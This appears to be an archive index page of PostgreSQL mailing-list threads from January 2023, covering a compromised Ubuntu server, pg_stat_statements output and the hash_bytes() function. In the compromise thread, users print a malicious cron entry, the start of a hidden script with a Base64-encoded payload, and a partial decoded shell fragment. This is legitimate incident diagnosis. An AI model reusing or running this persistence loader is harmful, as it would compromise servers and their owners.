Re: PostgreSQL 12 service failing in Ubuntu 20.04 after a few hours

2023-01-02 Thread Julien Rouhaud
On Mon, Jan 02, 2023 at 08:53:32AM +0200, Antonis Christodoulou wrote: > And for the record, Ahmet, here’s a weird cron job: > > christan@vultr:~$ sudo crontab -l -u postgres > 13 * * * * > /var/lib/postgresql/.systemd-private-x8C8W8llVk0Rzccy9N0ggCOI2VBAc.sh > > /dev/null 2>&1 & > > Had no idea

Re: Exact same output - pg_stat_statements

2023-01-02 Thread Julien Rouhaud
On Mon, Jan 02, 2023 at 02:34:13PM +0100, hubert depesz lubaczewski wrote: > On Fri, Dec 30, 2022 at 11:04:59AM -0500, Rushikesh socha wrote: > > Hi, Whenever I am running the below query on one of my Azure PostgreSQL > > PaaS instances I am getting exact same output. I feel it shows old > > inform

Re: what kind of hash algorithm is used by hash_bytes()?

2023-01-02 Thread Julien Rouhaud
Hi, On Tue, Jan 03, 2023 at 12:30:27AM +0800, jack...@gmail.com wrote: > jack...@gmail.com > -- > I can't understand the hash_bytes() func in > src/backend/access/hash/hashfunc.c, it's published by a paper or others? > Can you give me some materials to study it in depth? It's documen

Re: what kind of hash algorithm is used by hash_bytes()?

2023-01-02 Thread Adrian Klaver
On 1/2/23 08:30, jack...@gmail.com wrote: jack...@gmail.com -- I can't understand the hash_bytes() func in src/backend/access/hash/hashfunc.c, it's published by a paper or others? Can you give me some materials to study it in depth? Check out the README in: src/backend/access/has

what kind of hash algorithm is used by hash_bytes()?

2023-01-02 Thread jack...@gmail.com
jack...@gmail.com -- I can't understand the hash_bytes() func in src/backend/access/hash/hashfunc.c, it's published by a paper or others? Can you give me some materials to study it in depth?

Re: Exact same output - pg_stat_statements

2023-01-02 Thread hubert depesz lubaczewski
On Fri, Dec 30, 2022 at 11:04:59AM -0500, Rushikesh socha wrote: > Hi, Whenever I am running the below query on one of my Azure PostgreSQL > PaaS instances I am getting exact same output. I feel it shows old > information but as far as i know pg_stat_statements only shows current > information and

Re: PostgreSQL 12 service failing in Ubuntu 20.04 after a few hours

2023-01-02 Thread Matthias Apitz
El día Montag, Januar 02, 2023 a las 11:54:53 +0300, Ebubekir Büyüktosun escribió: >Hey Antonis, > > > >If you decode the below Base64 code, you will see the following bash >script that is tried to execute on your machine; > > ... Without analyzing the shell code in detail, this

Re: PostgreSQL 12 service failing in Ubuntu 20.04 after a few hours

2023-01-02 Thread Ebubekir Büyüktosun
Hey Antonis, If you decode the below Base64 code, you will see the following bash script that is tried to execute on your machine; x8C8W8llVk0Rzccy9N0ggCOI2VBAcexec &>/dev/nullexport PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin d=$(grep x:$(id -u): /etc/passwd|cut -

Re: PostgreSQL 12 service failing in Ubuntu 20.04 after a few hours

2023-01-02 Thread Antonis Christodoulou
Hey Matthias, here it is: christan@vultr:~$ sudo cat /var/lib/postgresql/.systemd-private-x8C8W8llVk0Rzccy9N0ggCOI2VBAc.sh #!/bin/bash exec &>/dev/null echo x8C8W8llVk0Rzccy9N0ggCOI2VBAc echo eDhDOFc4bGxWazBSemNjeTlOMGdnQ09JMlZCQWMKZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDokSE9NRTovYmluOi9z